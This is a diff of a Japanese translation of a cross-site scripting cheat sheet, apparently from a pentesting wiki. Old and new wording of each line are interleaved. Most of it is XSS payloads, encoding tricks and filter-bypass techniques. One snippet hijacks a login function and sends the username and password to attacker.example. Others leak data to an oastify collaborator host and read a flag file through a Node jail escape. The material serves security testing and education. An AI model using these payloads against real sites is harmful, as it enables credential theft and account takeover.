**一般的に** `javascript:` プロトコルは **`href` 属性を受け取る任意のタグで使用できます** および **ほとんどの** **`src` 属性を受け取るタグ** で使用できます(ただし `<img` は除く)
|
||||
```html
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
@ -352,23 +353,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
|
||||
<iframe srcdoc="<svg onload=alert(4);>">
|
||||
```
|
||||
**その他の obfuscation tricks**
|
||||
**その他の難読化トリック**
|
||||
|
||||
_**この場合、前のセクションの HTML encoding と Unicode encoding trick は、属性内にいるため有効です。**_
|
||||
_**この場合、HTML encoding と Unicode encoding のトリックは前のセクションと同様に、属性内にいるため有効です。**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
さらに、こうしたケースにはもう一つの**便利なコツ**があります:**`javascript:...` 内の入力が URL encoded されていても、実行される前に URL decoded されます。** つまり、もし**エスケープ**のために**文字列**から**single quote**を使って抜ける必要があり、それが**URL encoded**されているのを見ても、**問題ありません、**実行時には**single quote**として**解釈**されます。
|
||||
さらに、これらのケースでは別の**良いトリック**があります: **`javascript:...` 内の入力が URL エンコードされていても、実行前に URL デコードされます。** なので、**エスケープ**するために**文字列**から**シングルクオート**を使う必要があり、かつそれが**URL エンコードされている**のが分かっている場合は、**問題ありません、** **実行**時には**シングルクオート**として**解釈**されます。
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
注意: 任意の順序で `URLencode + HTMLencode` を**両方使用**して **payload** をエンコードしようとしても**動作** **しません**が、**payload内で混在させる**ことはできます。
|
||||
注意: `URLencode + HTMLencode` を任意の順序で **両方を使う** ことで **payload** をエンコードしようとすると、**うまく** **いきません**。しかし、**payload の内部でそれらを混在させる**ことができます。
|
||||
|
||||
**`javascript:` と一緒に Hex と Octal encode を使用する**
|
||||
**`javascript:` と一緒に Hex と Octal encode を使う**
|
||||
|
||||
少なくとも `iframe` の `src` 属性内で **Hex** と **Octal encode** を使用して、**JS を実行する HTML タグ** を記述できます:
|
||||
少なくとも `iframe` の `src` 属性内で、**Hex** と **Octal encode** を使用して **HTML tags to execute JS** を宣言できます:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
@ -384,8 +385,7 @@ _**この場合、前のセクションの HTML encoding と Unicode encoding tr
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
If you can inject any URL in an arbitrary **`<a href=`** tag that contains the **`target="_blank" and rel="opener"`** attributes, check the **following page to exploit this behavior**:
|
||||
|
||||
任意の **`<a href=`** タグに任意の URL を注入でき、そのタグが **`target="_blank" and rel="opener"`** 属性を含む場合、この挙動を悪用するために次のページを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
@ -393,8 +393,8 @@ If you can inject any URL in an arbitrary **`<a href=`** tag that contains the *
|
||||
|
||||
### on イベントハンドラのバイパス
|
||||
|
||||
First of all check this page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) for useful **"on" イベントハンドラ**.\
|
||||
In case there is some blacklist preventing you from creating this event handlers you can try the following bypasses:
|
||||
まずこのページ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))を参照して、便利な **"on" event handlers** を確認してください。\
|
||||
もし何らかの blacklist によってこれらの event handlers を作成できない場合は、次のバイパスを試してみてください:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
@ -409,14 +409,14 @@ Firefox: %09 %20 %28 %2C %3B
|
||||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
|
||||
### "Unexploitable tags"(hidden input, link, canonical, meta)における XSS
|
||||
|
||||
こちらの[**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **hidden inputs を次の方法で悪用できるようになりました:**
|
||||
[**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) によれば、**hidden inputs を悪用することが可能になりました:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
```
|
||||
そして **meta tags** の中で:
|
||||
そして **meta tags** の中では:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta
|
||||
@ -430,17 +430,17 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
出典: [**here**](https://portswigger.net/research/xss-in-hidden-input-fields):
|
||||
|
||||
**XSS payload inside a hidden attribute** を実行できます。これは、**persuade** して **victim** に **key combination** を押させることができる場合に限ります。Firefox(Windows/Linux)ではキー組み合わせは **ALT+SHIFT+X**、OS X では **CTRL+ALT+X** です。access key attribute の別のキーを使うことで、別のキー組み合わせを指定できます。攻撃ベクターは次のとおりです:
|
||||
詳細は [**here**](https://portswigger.net/research/xss-in-hidden-input-fields) を参照:
|
||||
**XSS payload inside a hidden attribute** を実行できますが、**被害者**を**説得して**その**キー操作**を押させる必要があります。Firefox(Windows/Linux)ではキー操作は **ALT+SHIFT+X**、OS X では **CTRL+ALT+X** です。access key attribute に別のキーを指定すれば、別のキー操作を指定できます。
|
||||
ベクターは次のとおり:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**XSSのペイロードは次のようなものになります: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
**XSSペイロードは次のようなものになります: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Blacklist Bypasses
|
||||
|
||||
このセクションですでにいくつかの異なるエンコーディングを使ったトリックが示されています。**戻ってどこで使えるかを学んでください:**
|
||||
このセクションですでに、さまざまなエンコーディングを使ったいくつかのトリックが紹介されています。戻って、どこで使えるかを学んでください:
|
||||
|
||||
- **HTML encoding (HTML tags)**
|
||||
- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
|
||||
@ -450,19 +450,19 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
**Bypasses for HTML tags and attributes**
|
||||
|
||||
[ Blacklist Bypasses of the previous section](#blacklist-bypasses) を参照してください。
|
||||
Read the[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
|
||||
|
||||
**Bypasses for JavaScript code**
|
||||
|
||||
[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques) を参照してください。
|
||||
Read the J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
もしWebの非常に小さな部分で**XSS**を見つけ、何らかのインタラクションが必要な場合(例えばフッターの小さなリンクにonmouseover要素がある場合)、リンクが発火する確率を最大化するために、その要素が占めるスペースを**変更してみる**ことができます。
|
||||
ウェブのごく小さな部分で**XSSを見つけ**、何らかのインタラクションが必要な場合(例えばフッターの小さなリンクにonmouseover要素があるなど)、その要素が占める領域を**変更して**リンクが発火する確率を最大化することができます。
|
||||
|
||||
例えば、要素に次のようなスタイルを追加できます: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
たとえば、要素に次のようなスタイルを追加できます: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
しかし、WAFがstyle属性をフィルタリングしている場合は、CSS Styling Gadgetsを使えます。例えば次のようなものを見つけたとします
|
||||
しかし、WAFがstyle属性をフィルタリングしている場合は、CSS Styling Gadgetsを使うことができます。例えば次のようなものを見つけたら
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
@ -470,27 +470,27 @@ and
|
||||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
これでリンクを修正して次のようにできます
|
||||
このときリンクを次のように変更できます
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
このトリックは次の投稿から引用しました: [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
このトリックは[https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)から取られています
|
||||
|
||||
## Injecting inside JavaScript code
|
||||
|
||||
これらの場合、あなたの**input**は `.js` ファイルのJSコード内、または `<script>...</script>` タグ内、JSを実行できるHTMLイベント内、あるいは `javascript:` プロトコルを許容する属性内に**反映されます**。
|
||||
この場合、あなたの**input**は `.js` ファイルのJSコード内、または `<script>...</script>` タグ内、あるいはJSを実行するHTMLイベントや `javascript:` プロトコルを受け取る属性の間に反映されます。
|
||||
|
||||
### Escaping \<script> tag
|
||||
|
||||
もしあなたのコードが `<script> [...] var input = 'reflected data' [...] </script>` の中に挿入されている場合、`</script>` の終了タグを簡単に**エスケープして閉じることができます**:
|
||||
もしコードが `<script> [...] var input = 'reflected data' [...] </script>` の内部に挿入される場合、`</script>` を閉じることで簡単にエスケープできます:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
この例では、**シングルクォートを閉じてさえいません**。これは、**ブラウザによってまずHTMLのパースが行われる**ためで、scriptブロックを含むページ要素の識別が行われます。埋め込まれたスクリプトを理解して実行するためのJavaScriptのパースはその後に行われます。
|
||||
Note that in this example we **haven't even closed the single quote**. This is because **HTML parsing is performed first by the browser**, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.
|
||||
|
||||
### JSコード内
|
||||
### JS コード内
|
||||
|
||||
もし `<>` がサニタイズされている場合でも、入力が**配置されている**場所で文字列を**エスケープ**して任意のJSを**実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあるとJSコードは実行されません:
|
||||
もし `<>` がサニタイズされている場合でも、入力が**配置されている**場所の文字列を**エスケープする**ことで、**任意のJSを実行する**ことができます。エラーがあるとJSコードは実行されないため、**JS構文を修正する**ことが重要です:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -498,25 +498,25 @@ and
|
||||
```
|
||||
#### JS-in-JS string break → inject → repair pattern
|
||||
|
||||
ユーザー入力が引用符で囲まれたJavaScript文字列内に入る場合(例: server-side echo into an inline script)、文字列を終了させてコードを注入し、構文を修復してパースを有効な状態に保つことができます。一般的なスケルトン:
|
||||
ユーザ入力が quoted JavaScript string の中に入るとき(例: server-side echo into an inline script)、string を終了させて inject code し、syntax を修復して parsing を有効に保つことができます。汎用スケルトン:
|
||||
```
|
||||
" // end original string
|
||||
; // safely terminate the statement
|
||||
<INJECTION> // attacker-controlled JS
|
||||
; a = " // repair and resume expected string/statement
|
||||
```
|
||||
脆弱なパラメータがJS文字列として反映される場合のURLパターンの例:
|
||||
脆弱なパラメータがJS文字列に反映される場合のURLパターンの例:
|
||||
```
|
||||
?param=test";<INJECTION>;a="
|
||||
```
|
||||
これは HTML コンテキストに触れることなく攻撃者の JS を実行します(純粋な JS-in-JS)。フィルタがキーワードをブロックする場合は、下の blacklist bypasses と組み合わせてください。
|
||||
これはHTMLコンテキストに触れることなく攻撃者のJSを実行します(純粋なJS-in-JS)。フィルタがキーワードをブロックする場合は、下のblacklist bypassesと組み合わせてください。
|
||||
|
||||
### Template literals ``
|
||||
|
||||
文字列を構築する際、JS はシングルおよびダブルクォートのほかに **backticks** **` `` `** を受け入れます。これは template literals として知られており、`${ ... }` 構文を使って **embedded JS expressions** を埋め込めるためです。\
|
||||
したがって、入力が backticks を使った JS の文字列内に **reflected** されている場合、`${ ... }` 構文を悪用して **arbitrary JS code** を実行できます:
|
||||
単一引用符や二重引用符とは別に文字列を構築するため、JSは**backticks** **` `` `** も受け入れます。これはtemplate literalsとして知られており、`${ ... }`構文を使って**embedded JS expressions**を埋め込めます。\
|
||||
したがって、入力がbackticksを使ったJS文字列内に**reflected**されている場合、`${ ... }`構文を悪用して**arbitrary JS code**を実行できます:
|
||||
|
||||
これを **abused** する例:
|
||||
これは次のように**abused**できます:
|
||||
```javascript
|
||||
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
|
||||
```
|
||||
@ -528,27 +528,27 @@ return loop
|
||||
}
|
||||
loop``
|
||||
```
|
||||
### エンコードされた code execution
|
||||
### エンコードされた code の実行
|
||||
```html
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
#### Deliverable payloads with eval(atob()) とスコープのニュアンス
|
||||
#### eval(atob()) を使った配信可能なペイロードとスコープのニュアンス
|
||||
|
||||
URLを短く保ち、単純なキーワードフィルタを回避するために、本当のロジックをbase64エンコードして`eval(atob('...'))`で評価するとよい。単純なキーワードフィルタが`alert`、`eval`、`atob`のような識別子をブロックする場合、ブラウザで同一にコンパイルされつつ文字列照合フィルタを回避するUnicodeエスケープされた識別子を使う:
|
||||
URL を短く保ち、単純なキーワードフィルターを回避するために、実際のロジックを base64 エンコードして `eval(atob('...'))` で評価できます。単純なキーワードフィルタが `alert`, `eval`, `atob` のような識別子をブロックする場合は、ブラウザで同一にコンパイルされるが文字列照合フィルタを回避する Unicode エスケープされた識別子を使ってください:
|
||||
```
|
||||
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
|
||||
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
|
||||
```
|
||||
重要なスコーピングの注意点: `const`/`let` を `eval()` 内で宣言してもブロックスコープになり、globals を作成しません; そのため後続のスクリプトからはアクセスできません。必要な場合は、グローバルで再束縛できないフックを定義するために動的に注入した `<script>` 要素を使ってください(例: form handler を hijack する場合):
|
||||
重要なスコーピングの注意点: `const`/`let` が `eval()` 内で宣言されるとブロックスコープになりグローバルを作成しません; それらは後続のスクリプトからアクセスできません。必要に応じてグローバルで再代入不可のフックを定義するには、動的に挿入した `<script>` 要素を使用してください (e.g., to hijack a form handler):
|
||||
```javascript
|
||||
var s = document.createElement('script');
|
||||
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
|
||||
document.head.appendChild(s);
|
||||
```
|
||||
参考: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
|
||||
参照: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
|
||||
|
||||
### Unicode エンコードによる JS 実行
|
||||
```javascript
|
||||
@ -556,7 +556,7 @@ alert(1)
|
||||
alert(1)
|
||||
alert(1)
|
||||
```
|
||||
### JavaScript bypass blacklists 手法
|
||||
### JavaScript bypass blacklists の手法
|
||||
|
||||
**Strings**
|
||||
```javascript
|
||||
@ -589,12 +589,12 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
"\t" //tab
|
||||
// Any other char escaped is just itself
|
||||
```
|
||||
**JSコード内でのスペースの置換**
|
||||
**JSコード内の空白の置換**
|
||||
```javascript
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**JavaScript comments (から** [**JavaScript Comments**](#javascript-comments) **トリック)**
|
||||
**JavaScript のコメント(出典:** [**JavaScript Comments**](#javascript-comments) **トリック)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
@ -602,7 +602,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**JavaScript 改行 (から** [**JavaScript new line**](#javascript-new-lines) **手法)**
|
||||
**JavaScript new lines (から** [**JavaScript new line**](#javascript-new-lines) **トリック)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -614,7 +614,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
|
||||
String.fromCharCode(8233)
|
||||
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
|
||||
```
|
||||
**JavaScript の空白文字**
|
||||
**JavaScriptの空白文字**
|
||||
```javascript
|
||||
log=[];
|
||||
function funct(){}
|
||||
@ -631,14 +631,14 @@ console.log(log)
|
||||
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
|
||||
<img/src/onerror=alert(1)>
|
||||
```
|
||||
**コメント内のJavascript**
|
||||
**コメント内の Javascript**
|
||||
```javascript
|
||||
//If you can only inject inside a JS comment, you can still leak something
|
||||
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
||||
|
||||
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
|
||||
```
|
||||
**JavaScript(丸括弧なし)**
|
||||
**JavaScript (括弧なし)**
|
||||
```javascript
|
||||
// By setting location
|
||||
window.location='javascript:alert\x281\x29'
|
||||
@ -779,43 +779,45 @@ top[8680439..toString(30)](1)
|
||||
```
|
||||
## **DOM vulnerabilities**
|
||||
|
||||
存在する**JS code**は、`location.href` のような**攻撃者により制御されるデータを安全でない形で**使用している場合があります。攻撃者はこれを悪用して任意のJSコードを実行できます。\
|
||||
**説明が長くなったため、** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
|
||||
There is **JS code** that is using **unsafely data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.\
|
||||
**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
そこでは、**DOM vulnerabilities が何か、どのように発生するか、そしてどのようにエクスプロイトするか**について詳しく説明しています。\
|
||||
また、前述の投稿の最後で [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) に関する説明も確認してください。
|
||||
There you will find a detailed **explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them**.\
|
||||
Also, don't forget that **at the end of the mentioned post** you can find an explanation about [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
|
||||
|
||||
### Upgrading Self-XSS
|
||||
### Self-XSSのエスカレーション
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
ペイロードを cookie 内に入れて XSS を発生させられる場合、通常は self-XSS です。ただし、XSS に脆弱なサブドメインを見つけた場合、その XSS を悪用してドメイン全体に cookie を注入し、メインドメインや他のサブドメイン(cookie XSS に脆弱なもの)で cookie XSS を発動させることができます。そのために cookie tossing attack を使用できます:
|
||||
If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a **vulnerable subdomain to XSS**, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
この手法の優れた悪用例は [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) にあります。
|
||||
You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
|
||||
### Sending your session to the admin
|
||||
|
||||
ユーザーが管理者とプロフィールを共有できる場合、プロフィール内に self XSS があると、管理者がそれにアクセスした際に脆弱性が発動する可能性があります。
|
||||
Maybe an user can share his profile with the admin and if the self XSS is inside the profile of the user and the admin access it, he will trigger the vulnerability.
|
||||
|
||||
### Session Mirroring
|
||||
|
||||
self XSS を見つけ、かつウェブページが管理者向けの **session mirroring for administrators** を提供している場合(例えば、クライアントがヘルプを求めるときに管理者がクライアントのセッションを自分のセッションから見ることができるような機能)、管理者にあなたの self XSS を発動させてその cookie/session を盗むことが可能です。
|
||||
If you find some self XSS and the web page have a **session mirroring for administrators**, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
|
||||
|
||||
## Other Bypasses
|
||||
You could make the **administrator trigger your self XSS** and steal his cookies/session.
|
||||
|
||||
### Normalised Unicode
|
||||
## その他のバイパス
|
||||
|
||||
サーバー(またはクライアント側)で **reflected values** が **unicode normalized** されているかを確認し、この挙動を悪用して保護を回避できる場合があります。 [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting)。
|
||||
### 正規化された Unicode
|
||||
|
||||
You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER_VALIDATE_EMAIL flag Bypass
|
||||
```javascript
|
||||
@ -823,8 +825,8 @@ self XSS を見つけ、かつウェブページが管理者向けの **session
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
**RoR mass assignment** のため、HTMLに引用符が挿入され、その引用符の制限が回避され、タグ内に追加のフィールド(onfocus)を追加できます。\
|
||||
フォームの例 ([from this report](https://hackerone.com/reports/709336))、次のpayloadを送信すると:
|
||||
**RoR mass assignment** により、HTML に引用符が挿入され、その引用符の制限がバイパスされ、タグ内に追加のフィールド(onfocus)を挿入できます。\
|
||||
フォームの例([from this report](https://hackerone.com/reports/709336))、もし payload を送信すると:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
@ -832,7 +834,7 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
その後、onfocus属性が挿入され、XSSが発生します。
|
||||
すると、onfocus 属性が挿入され、XSS が発生します。
|
||||
|
||||
### 特殊な組み合わせ
|
||||
```html
|
||||
@ -864,16 +866,16 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### 302レスポンスでの header injection を伴う XSS
|
||||
### 302レスポンスでのヘッダー注入によるXSS
|
||||
|
||||
If you find that you can **inject headers in a 302 Redirect response** you could try to **make the browser execute arbitrary JavaScript**. これは **簡単ではありません**。モダンなブラウザは HTTP レスポンスのステータスコードが 302 の場合に HTTP レスポンスボディを解釈しないため、単に cross-site scripting ペイロードを入れても無意味です。
|
||||
もし **302 Redirect response にヘッダーを注入できる** 場合、ブラウザに **任意の JavaScript を実行させる** ことを試みることができます。これは **容易ではありません** — モダンなブラウザは HTTP レスポンスのステータスコードが 302 の場合に HTTP レスポンスボディを解釈しないため、単に cross-site scripting ペイロードを置くだけでは無意味です。
|
||||
|
||||
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\
|
||||
過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
|
||||
過去に確認されたプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
|
||||
|
||||
### 文字、数字、ドットのみ
|
||||
### 英数字とドットのみ
|
||||
|
||||
If you are able to indicate the **callback** that javascript is going to **execute** limited to those chars. [**Read this section of this post**](#javascript-function) to find how to abuse this behaviour.
|
||||
もし英数字とドットのみで指定できる **callback** を javascript が **execute** するように指定できるなら、この挙動を悪用する方法があります。 [**Read this section of this post**](#javascript-function) を参照してください。
|
||||
|
||||
### Valid `<script>` Content-Types to XSS
|
||||
|
||||
@ -905,12 +907,10 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```
|
||||
### XSS におけるスクリプトの種類
|
||||
|
||||
(出典: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) では、スクリプトを読み込むために指定できるタイプにはどのようなものがありますか?
|
||||
(出典: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) では、どのタイプがスクリプトを読み込むために指定できるでしょうか?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
答えは:
|
||||
|
||||
- **module** (デフォルト、説明不要)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundlesは、HTML、CSS、JS…などの複数のデータをまとめて**`.wbn`**ファイルにパッケージできる機能です。
|
||||
```html
|
||||
@ -939,9 +939,9 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
この挙動は [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) でライブラリを eval にリマップするために使用されました。悪用すると XSS を引き起こす可能性があります。
|
||||
この挙動は [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) で、ライブラリを eval にリマップして悪用することで XSS を引き起こすために使われました。
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は主にプリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は以下の通りです:
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は主にプリレンダリングが原因となる問題を解決するためのものです。動作は次の通りです:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -959,22 +959,22 @@ import { partition } from "lodash"
|
||||
```
|
||||
### Web Content-Types による XSS
|
||||
|
||||
(出典: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 以下の Content-Types はすべてのブラウザで XSS を実行できます:
|
||||
(出典 [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 以下の Content-Types はすべてのブラウザで XSS を実行できます:
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? not in the list but I think I saw this in a CTF)
|
||||
- text/plain (?? リストにはありませんが、CTFで見た気がします)
|
||||
- application/rss+xml (off)
|
||||
- application/atom+xml (off)
|
||||
|
||||
In other browsers other **`Content-Types`** can be used to execute arbitrary JS, check: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
他のブラウザでは、他の **`Content-Types`** が任意の JS を実行するために使われることがあります。参照: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Content Type
|
||||
|
||||
ページが text/xml content-type を返す場合、名前空間を指定して任意の JS を実行することが可能です:
|
||||
ページが text/xml コンテンツタイプを返している場合、namespace を指定して任意の JS を実行することが可能です:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -984,9 +984,9 @@ In other browsers other **`Content-Types`** can be used to execute arbitrary JS,
|
||||
```
|
||||
### 特殊な置換パターン
|
||||
|
||||
たとえば **`"some {{template}} data".replace("{{template}}", <user_input>)`** のような処理を行う場合、攻撃者は [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) を利用して一部の保護を回避しようとする可能性があります: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
例えば **`"some {{template}} data".replace("{{template}}", <user_input>)`** のような処理が行われる場合、攻撃者は [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) を使っていくつかの保護を迂回しようとする可能性があります: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
例えば [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) では、これはスクリプト内の **JSON文字列をエスケープ** して任意のコードを実行するために使われました。
|
||||
例えば [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) では、これを使ってスクリプト内の **scape a JSON string** を行い、任意のコードを実行しています。
|
||||
|
||||
### Chrome Cache to XSS
|
||||
|
||||
@ -997,7 +997,7 @@ chrome-cache-to-xss.md
|
||||
|
||||
### XS Jails Escape
|
||||
|
||||
使用できる文字が限られている場合、XSJail の問題に対するその他の有効な解決策を確認してください:
|
||||
使用できる文字が限られている場合、XSJail の問題に対する以下の他の有効な解決策を確認してください:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
@ -1028,22 +1028,22 @@ constructor(source)()
|
